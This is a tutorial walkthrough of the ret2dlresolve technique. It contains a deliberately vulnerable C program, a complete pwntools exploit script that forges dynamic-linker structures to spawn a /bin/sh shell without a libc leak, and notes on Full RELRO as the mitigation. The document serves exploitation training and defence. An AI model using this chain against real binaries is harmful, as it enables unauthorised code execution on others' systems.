ret2dlresolve: Resolving a Symbol Without a Leak
No libc leak, no problem: forge the relocation the dynamic linker reads and make it resolve and call system for you. A pwntools walkthrough — and why Full RELRO ends it.
This is the twelfth walkthrough in the Exploitation Techniques area. The ret2libc guide spent its first stage just leaking libc so it could find system. What if you cannot leak — no output primitive, a single shot? ret2dlresolve sidesteps the leak entirely by making the dynamic linker resolve system by name on your behalf.
Your own binary, disposable lab. See the lab rules.
How lazy binding works (and how we abuse it)
With lazy binding (the Partial RELRO default), an imported function is not resolved until its first call. The first call to foo@plt runs a stub that pushes a relocation index and jumps to _dl_runtime_resolve(link_map, index). The resolver then:
- reads the
Elf64_Relarelocation at that index in the.rela.plt(JMPREL) table, - follows its
r_infoto anElf64_Symin the dynamic symbol table, - reads that symbol's name from the string table,
- looks the name up in libc, writes the result into the GOT, and jumps to it.
Every one of those tables is consulted by offset from data we can influence. If we call _dl_runtime_resolve with an index that points at a relocation we forged — one whose symbol name string is "system" — the loader resolves and calls system for us. No libc address ever needed to be known.
The target
/* vuln.c — overflow, dynamically linked, lazy binding (Partial RELRO). */
#include <unistd.h>
void vuln(void){ char b[64]; read(0, b, 256); }
int main(void){ vuln(); return 0; }
gcc -fno-stack-protector -no-pie -Wl,-z,relro,-z,lazy -O0 -g -o vuln vuln.c
checksec must show Partial RELRO (lazy binding on) and No PIE (so .bss and the PLT0 stub are at fixed addresses).
Building it with pwntools
Doing this by hand means hand-packing a fake Elf64_Rela, Elf64_Sym and a string, all at consistent offsets in .bss — error-prone on 64-bit. pwntools' Ret2dlresolvePayload builds a coherent set:
# ret2dlresolve.py
from pwn import *
context.binary = elf = ELF("./vuln")
# 1) Describe the call we want the loader to resolve and make.
dl = Ret2dlresolvePayload(elf, symbol="system", args=["/bin/sh"])
rop = ROP(elf)
# 2) Read our forged structures + "/bin/sh" into the .bss data area.
rop.read(0, dl.data_addr) # read(0, bss, len)
# 3) Invoke the PLT0 resolver stub with our forged relocation index.
rop.ret2dlresolve(dl)
raw = rop.chain()
payload = flat({72: raw}) # 72 = offset to return address
io = process("./vuln")
io.sendline(payload) # stage 1: the ROP chain
io.sendline(dl.payload) # stage 2: the forged structs read() consumes
io.interactive()
$ python3 ret2dlresolve.py
[*] Switching to interactive mode
$ id
uid=1000(lab) gid=1000(lab)
The chain calls read to drop the forged Elf structures and the string "/bin/sh" into .bss at a known address, then jumps to the PLT0 resolver stub with our crafted relocation offset. The loader walks our tables, resolves "system", and calls it with "/bin/sh" — all without a single leaked address.
Turn the mitigation back on: Full RELRO
ret2dlresolve depends entirely on the runtime resolver still being reachable. Full RELRO removes it:
gcc -fno-stack-protector -no-pie -Wl,-z,relro,-z,now -O0 -g -o vuln_full vuln.c
With -z now, the loader resolves every import at startup and the lazy path is never used at runtime — there is no _dl_runtime_resolve call to hijack. The exploit has nothing to invoke:
| Build | RELRO / binding | ret2dlresolve |
|---|---|---|
-z relro -z lazy | Partial / lazy | Works — resolver is live |
-z relro -z now | Full / eager | Dead — no runtime resolution |
This is the second technique in the series that Full RELRO kills, for a different reason than the first. GOT overwrite died because RELRO made the GOT read-only; ret2dlresolve dies because RELRO disables lazy resolution altogether. One flag, two techniques closed.
What this teaches a defender
- Full RELRO is worth more than it looks. It is easy to think of
-z nowas "just makes the GOT read-only." It also eliminates the entire lazy-resolution attack surface, including ret2dlresolve. For security-sensitive binaries it should be the default — see binary hardening flags. - "They can't leak libc, so they can't call system" is false. ret2dlresolve is the counterexample: an attacker with no leak can still reach
systemby name. Do not lean on the absence of an info-leak as your safety margin. - The dynamic linker is part of your attack surface. Its data structures are reachable through the same bugs as everything else. Reducing what is resolvable at runtime (eager binding) shrinks it.
Key takeaways
- ret2dlresolve forges the relocation and symbol structures the dynamic linker reads, so it resolves and calls a symbol (e.g.
system) by name — no libc leak required. - It needs lazy binding (Partial RELRO) and a known writable address for the forged structures; non-PIE targets are easiest.
- 64-bit layout is fiddly;
Ret2dlresolvePayloadbuilds a consistent set of structures. - Full RELRO (
-z now) disables lazy resolution and kills the technique outright.
Next: one-gadget, when a single libc address — under the right register conditions — is all you need for a shell.